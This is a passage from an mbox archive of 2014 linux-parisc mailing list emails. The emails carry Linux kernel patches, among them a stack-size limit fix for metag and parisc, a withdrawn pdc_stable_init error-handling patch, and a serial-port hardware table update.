-	/* Limit stack size to 1GB */
+	/* Limit stack size */
 	stack_base = rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > STACK_SIZE_MAX)
+		stack_base = STACK_SIZE_MAX;
 
 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
-- 
1.9.3


From - Thu Nov 08 21:10:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Liu <jeff.liu@oracle.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 12/24] drivers/parisc: return actual error on pdc_stable_init
Date: Tue, 17 Jun 2014 22:30:57 +0800
Lines: 34
Approved: news@gmane.org
Message-ID: <53A05121.1040100@oracle.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1403015487 1419 80.91.229.3 (17 Jun 2014 14:31:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2014 14:31:27 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: JBottomley@parallels.com, deller@gmx.de
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 17 16:31:20 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WwuPr-0005CO-Rk
	for glpp-linux-parisc@plane.gmane.org; Tue, 17 Jun 2014 16:31:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932585AbaFQObM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Jun 2014 10:31:12 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:49812 "EHLO
	aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932410AbaFQObL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Jun 2014 10:31:11 -0400
Original-Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238])
	by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s5HEV2b1018686
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 17 Jun 2014 14:31:03 GMT
Original-Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85])
	by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s5HEV2gL014543
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL);
	Tue, 17 Jun 2014 14:31:02 GMT
Original-Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18])
	by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s5HEV1S2005965;
	Tue, 17 Jun 2014 14:31:01 GMT
Original-Received: from [192.168.1.101] (/27.194.216.145)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Tue, 17 Jun 2014 07:31:01 -0700
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0
X-Source-IP: acsinet22.oracle.com [141.146.126.238]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5895
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5895>

From: Jie Liu <jeff.liu@oracle.com>

Return the actual error code than ENOMEM if call kset_create_and_add()
failed at pdc_stable_init().

Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Signed-off-by: Jie Liu <jeff.liu@oracle.com>
---
 drivers/parisc/pdc_stable.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index 0f54ab6..3daca50 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -1065,8 +1065,8 @@ pdc_stable_init(void)
 
 	/* register the paths kset as a child of the stable kset */
 	paths_kset = kset_create_and_add("paths", NULL, stable_kobj);
-	if (!paths_kset) {
-		rc = -ENOMEM;
+	if (IS_ERR(paths_kset)) {
+		rc = PTR_ERR(paths_kset);
 		goto fail_ksetreg;
 	}
 
-- 
1.8.3.2
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kamal Mostafa <kamal-Z7WLFzj8eWMS+FvcfC7Uqw@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ubuntu.devel.kernel.general
Subject: [3.13.y.z extended stable] Patch "metag: Reduce maximum stack size to 256MB" has been added to staging queue
Date: Tue, 17 Jun 2014 14:42:21 -0700
Lines: 107
Approved: news@gmane.org
Message-ID: <1403041341-9524-1-git-send-email-kamal@canonical.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1403041359 1311 80.91.229.3 (17 Jun 2014 21:42:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2014 21:42:39 +0000 (UTC)
Cc: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>,
	Kamal Mostafa <kamal-Z7WLFzj8eWMS+FvcfC7Uqw@public.gmane.org>,
	kernel-team-nLRlyDuq1AZFpShjVBNYrg@public.gmane.org
To: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Jun 17 23:42:33 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1Wx19A-00066e-MI
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 17 Jun 2014 23:42:29 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S965063AbaFQVm2 (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Tue, 17 Jun 2014 17:42:28 -0400
Original-Received: from youngberry.canonical.com ([91.189.89.112]:52963 "EHLO
	youngberry.canonical.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S964852AbaFQVm1 (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Tue, 17 Jun 2014 17:42:27 -0400
Original-Received: from c-67-160-228-185.hsd1.ca.comcast.net ([67.160.228.185] helo=fourier)
	by youngberry.canonical.com with esmtpsa (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.71)
	(envelope-from <kamal-Z7WLFzj8eWMS+FvcfC7Uqw@public.gmane.org>)
	id 1Wx195-0008Nj-NE; Tue, 17 Jun 2014 21:42:24 +0000
Original-Received: from kamal by fourier with local (Exim 4.82)
	(envelope-from <kamal-lq3WuUX8C8zQT0dZR+AlfA@public.gmane.org>)
	id 1Wx193-0002UB-QL; Tue, 17 Jun 2014 14:42:21 -0700
X-Mailer: git-send-email 1.9.1
X-Extended-Stable: 3.13
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:227 gmane.linux.ports.parisc:5896 gmane.linux.ubuntu.devel.kernel.general:43149
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/227>

This is a note to let you know that I have just added a patch titled

    metag: Reduce maximum stack size to 256MB

to the linux-3.13.y-queue branch of the 3.13.y.z extended stable tree 
which can be found at:

 http://kernel.ubuntu.com/git?p=ubuntu/linux.git;a=shortlog;h=refs/heads/linux-3.13.y-queue

This patch is scheduled to be released in version 3.13.11.4.

If you, or anyone else, feels it should not be added to this tree, please 
reply to this email.

For more information about the 3.13.y.z tree, see
https://wiki.ubuntu.com/Kernel/Dev/ExtendedStable

Thanks.
-Kamal

------

>From 8dd77187cf712fc849df3725f3676dbe61c4a4ff Mon Sep 17 00:00:00 2001
From: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Date: Tue, 13 May 2014 23:58:24 +0100
Subject: metag: Reduce maximum stack size to 256MB

commit d71f290b4e98a39f49f2595a13be3b4d5ce8e1f1 upstream.

Specify the maximum stack size for arches where the stack grows upward
(parisc and metag) in asm/processor.h rather than hard coding in
fs/exec.c so that metag can specify a smaller value of 256MB rather than
1GB.

This fixes a BUG on metag if the RLIMIT_STACK hard limit is increased
beyond a safe value by root. E.g. when starting a process after running
"ulimit -H -s unlimited" it will then attempt to use a stack size of the
maximum 1GB which is far too big for metag's limited user virtual
address space (stack_top is usually 0x3ffff000):

BUG: failure at fs/exec.c:589/shift_arg_pages()!

Signed-off-by: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Cc: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Cc: "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>
Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>
Signed-off-by: Kamal Mostafa <kamal-Z7WLFzj8eWMS+FvcfC7Uqw@public.gmane.org>
---
 arch/metag/include/asm/processor.h  | 2 ++
 arch/parisc/include/asm/processor.h | 2 ++
 fs/exec.c                           | 6 +++---
 3 files changed, 7 insertions(+), 3 deletions(-)

diff --git a/arch/metag/include/asm/processor.h b/arch/metag/include/asm/processor.h
index f16477d..3be8581 100644
--- a/arch/metag/include/asm/processor.h
+++ b/arch/metag/include/asm/processor.h
@@ -22,6 +22,8 @@
 /* Add an extra page of padding at the top of the stack for the guard page. */
 #define STACK_TOP	(TASK_SIZE - PAGE_SIZE)
 #define STACK_TOP_MAX	STACK_TOP
+/* Maximum virtual space for stack */
+#define STACK_SIZE_MAX	(1 << 28)	/* 256 MB */

 /* This decides where the kernel will search for a free chunk of vm
  * space during mmap's.
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index cc2290a..c6ee865 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -53,6 +53,8 @@
 #define STACK_TOP	TASK_SIZE
 #define STACK_TOP_MAX	DEFAULT_TASK_SIZE

+#define STACK_SIZE_MAX	(1 << 30)	/* 1 GB */
+
 #endif

 #ifndef __ASSEMBLY__
diff --git a/fs/exec.c b/fs/exec.c
index 7ea097f..5743b8f 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -655,10 +655,10 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	unsigned long rlim_stack;

 #ifdef CONFIG_STACK_GROWSUP
-	/* Limit stack size to 1GB */
+	/* Limit stack size */
 	stack_base = rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > STACK_SIZE_MAX)
+		stack_base = STACK_SIZE_MAX;

 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
--
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kamal Mostafa <kamal@canonical.com>
Newsgroups: gmane.linux.kernel.stable,gmane.linux.kernel,gmane.linux.ubuntu.devel.kernel.general,gmane.linux.ports.parisc,gmane.linux.kernel.metag
Subject: [PATCH 3.13 122/212] metag: Reduce maximum stack size to 256MB
Date: Tue, 17 Jun 2014 14:43:36 -0700
Lines: 81
Approved: news@gmane.org
Message-ID: <1403041506-13646-123-git-send-email-kamal@canonical.com>
References: <1403041506-13646-1-git-send-email-kamal@canonical.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1403041944 9176 80.91.229.3 (17 Jun 2014 21:52:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2014 21:52:24 +0000 (UTC)
Cc: James Hogan <james.hogan@imgtec.com>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, linux-metag@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>,
	Kamal Mostafa <kamal@canonical.com>
To: linux-kernel@vger.kernel.org, stable@vger.kernel.org,
	kernel-team@lists.ubuntu.com
Original-X-From: stable-owner@vger.kernel.org Tue Jun 17 23:52:14 2014
Return-path: <stable-owner@vger.kernel.org>
Envelope-to: glks-stable3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <stable-owner@vger.kernel.org>)
	id 1Wx1IX-0002sp-1F
	for glks-stable3@plane.gmane.org; Tue, 17 Jun 2014 23:52:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966978AbaFQVwF (ORCPT <rfc822;glks-stable3@m.gmane.org>);
	Tue, 17 Jun 2014 17:52:05 -0400
Original-Received: from youngberry.canonical.com ([91.189.89.112]:54729 "EHLO
	youngberry.canonical.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S966973AbaFQVwD (ORCPT
	<rfc822;stable@vger.kernel.org>); Tue, 17 Jun 2014 17:52:03 -0400
Original-Received: from c-67-160-228-185.hsd1.ca.comcast.net ([67.160.228.185] helo=fourier)
	by youngberry.canonical.com with esmtpsa (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.71)
	(envelope-from <kamal@canonical.com>)
	id 1Wx1C6-0000Hq-8A; Tue, 17 Jun 2014 21:45:30 +0000
Original-Received: from kamal by fourier with local (Exim 4.82)
	(envelope-from <kamal@whence.com>)
	id 1Wx1C4-0003m6-Ct; Tue, 17 Jun 2014 14:45:28 -0700
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1403041506-13646-1-git-send-email-kamal@canonical.com>
X-Extended-Stable: 3.13
Original-Sender: stable-owner@vger.kernel.org
Precedence: bulk
List-ID: <stable.vger.kernel.org>
X-Mailing-List: stable@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.stable:94933 gmane.linux.kernel:1727099 gmane.linux.ubuntu.devel.kernel.general:43323 gmane.linux.ports.parisc:5897 gmane.linux.kernel.metag:228
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.stable/94933>

3.13.11.4 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: James Hogan <james.hogan@imgtec.com>

commit d71f290b4e98a39f49f2595a13be3b4d5ce8e1f1 upstream.

Specify the maximum stack size for arches where the stack grows upward
(parisc and metag) in asm/processor.h rather than hard coding in
fs/exec.c so that metag can specify a smaller value of 256MB rather than
1GB.

This fixes a BUG on metag if the RLIMIT_STACK hard limit is increased
beyond a safe value by root. E.g. when starting a process after running
"ulimit -H -s unlimited" it will then attempt to use a stack size of the
maximum 1GB which is far too big for metag's limited user virtual
address space (stack_top is usually 0x3ffff000):

BUG: failure at fs/exec.c:589/shift_arg_pages()!

Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
Cc: linux-metag@vger.kernel.org
Cc: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Kamal Mostafa <kamal@canonical.com>
---
 arch/metag/include/asm/processor.h  | 2 ++
 arch/parisc/include/asm/processor.h | 2 ++
 fs/exec.c                           | 6 +++---
 3 files changed, 7 insertions(+), 3 deletions(-)

diff --git a/arch/metag/include/asm/processor.h b/arch/metag/include/asm/processor.h
index f16477d..3be8581 100644
--- a/arch/metag/include/asm/processor.h
+++ b/arch/metag/include/asm/processor.h
@@ -22,6 +22,8 @@
 /* Add an extra page of padding at the top of the stack for the guard page. */
 #define STACK_TOP	(TASK_SIZE - PAGE_SIZE)
 #define STACK_TOP_MAX	STACK_TOP
+/* Maximum virtual space for stack */
+#define STACK_SIZE_MAX	(1 << 28)	/* 256 MB */
 
 /* This decides where the kernel will search for a free chunk of vm
  * space during mmap's.
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index cc2290a..c6ee865 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -53,6 +53,8 @@
 #define STACK_TOP	TASK_SIZE
 #define STACK_TOP_MAX	DEFAULT_TASK_SIZE
 
+#define STACK_SIZE_MAX	(1 << 30)	/* 1 GB */
+
 #endif
 
 #ifndef __ASSEMBLY__
diff --git a/fs/exec.c b/fs/exec.c
index 7ea097f..5743b8f 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -655,10 +655,10 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	unsigned long rlim_stack;
 
 #ifdef CONFIG_STACK_GROWSUP
-	/* Limit stack size to 1GB */
+	/* Limit stack size */
 	stack_base = rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > STACK_SIZE_MAX)
+		stack_base = STACK_SIZE_MAX;
 
 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
-- 
1.9.1


From - Thu Nov 08 21:10:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Liu <jeff.liu@oracle.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 12/24] drivers/parisc: return actual error on pdc_stable_init
Date: Wed, 18 Jun 2014 09:46:12 +0800
Lines: 22
Approved: news@gmane.org
Message-ID: <53A0EF64.2090400@oracle.com>
References: <53A05121.1040100@oracle.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1403056007 10132 80.91.229.3 (18 Jun 2014 01:46:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Jun 2014 01:46:47 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Greg KH <gregkh@linuxfoundation.org>
To: JBottomley@parallels.com, deller@gmx.de
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 18 03:46:40 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wx4xT-000504-51
	for glpp-linux-parisc@plane.gmane.org; Wed, 18 Jun 2014 03:46:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756003AbaFRBqi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Jun 2014 21:46:38 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:42705 "EHLO
	userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755104AbaFRBqi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Jun 2014 21:46:38 -0400
Original-Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237])
	by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s5I1kQc8010309
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 18 Jun 2014 01:46:27 GMT
Original-Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85])
	by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s5I1kOYV025125
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL);
	Wed, 18 Jun 2014 01:46:25 GMT
Original-Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18])
	by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s5I1kOj5025463;
	Wed, 18 Jun 2014 01:46:24 GMT
Original-Received: from [192.168.1.101] (/218.58.146.28)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Tue, 17 Jun 2014 18:46:24 -0700
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0
In-Reply-To: <53A05121.1040100@oracle.com>
X-Source-IP: acsinet21.oracle.com [141.146.126.237]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5898
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5898>

Hi,

On 06/17/2014 22:30 PM, Jeff Liu wrote:
> From: Jie Liu <jeff.liu@oracle.com>
> 
> Return the actual error code than ENOMEM if call kset_create_and_add()
> failed at pdc_stable_init().
> 
> Cc: James E.J. Bottomley <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Signed-off-by: Jie Liu <jeff.liu@oracle.com>
>

Please ignore this patch because Greg think that is incorrect.

Cheers,
-Jeff
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add C8000/1GHz serial ports to hardware database
Date: Sat, 28 Jun 2014 17:44:51 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20140628154451.GA3536@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1403970309 31219 80.91.229.3 (28 Jun 2014 15:45:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 Jun 2014 15:45:09 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 28 17:45:00 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X0uoF-00031m-KO
	for glpp-linux-parisc@plane.gmane.org; Sat, 28 Jun 2014 17:44:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751380AbaF1Po7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Jun 2014 11:44:59 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:53690 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751238AbaF1Po6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Jun 2014 11:44:58 -0400
Original-Received: from ls3530.box ([84.173.51.148]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0LtEtL-1WXoAH25rH-012sOD; Sat, 28 Jun 2014 17:44:54
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:ZSB7tvjgr0rzF6/NR2F+ZbLoBNBO10+BmEpPsicTAHTQgQ1bIQJ
 zIk7zbPHHHxhPnUSfD7tyJ8N2Gdhi8xM96vgJ3oewBMUF4BLdQDVc1dT9iSJ2aOfx3PrUVc
 EUDwH+Xd42xKkdefZUUmAqe/7PvV9WuBr4kN855vFQIG/gofKHsTSFT/d8xiT9uxTMBKODV
 oT6MEk/9jyTM1pbJfMnDg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5900
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5900>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/hardware.c b/arch/parisc/kernel/hardware.c
index 608716f..a976a77 100644
--- a/arch/parisc/kernel/hardware.c
+++ b/arch/parisc/kernel/hardware.c
@@ -1210,7 +1210,8 @@ static struct hp_hardware hp_hardware_list[] = {
 	{HPHW_FIO, 0x004, 0x00320, 0x0, "Metheus Frame Buffer"}, 
 	{HPHW_FIO, 0x004, 0x00340, 0x0, "BARCO CX4500 VME Grphx Cnsl"}, 
 	{HPHW_FIO, 0x004, 0x00360, 0x0, "Hughes TOG VME FDDI"}, 
-	{HPHW_FIO, 0x076, 0x000AD, 0x00, "Crestone Peak RS-232"},
+	{HPHW_FIO, 0x076, 0x000AD, 0x0, "Crestone Peak Core RS-232"},
+	{HPHW_FIO, 0x077, 0x000AD, 0x0, "Crestone Peak Fast? Core RS-232"},
 	{HPHW_IOA, 0x185, 0x0000B, 0x00, "Java BC Summit Port"}, 
 	{HPHW_IOA, 0x1FF, 0x0000B, 0x00, "Hitachi Ghostview Summit Port"}, 
 	{HPHW_IOA, 0x580, 0x0000B, 0x10, "U2-IOA BC Runway Port"}, 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] fix fanotify_mark() breakage on big endian 32bit kernel
Date: Fri, 4 Jul 2014 17:12:35 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <20140704151235.GA22454@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1404486774 32525 80.91.229.3 (4 Jul 2014 15:12:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 4 Jul 2014 15:12:54 +0000 (UTC)
Cc: Heinrich Schuchardt <xypron.glpk@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Eric Paris <eparis@redhat.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	Heinrich Schuchardt <xypron.glpk@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 04 17:12:46 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X35AJ-0002uL-Lj
	for glpp-linux-parisc@plane.gmane.org; Fri, 04 Jul 2014 17:12:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752600AbaGDPMm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jul 2014 11:12:42 -0400
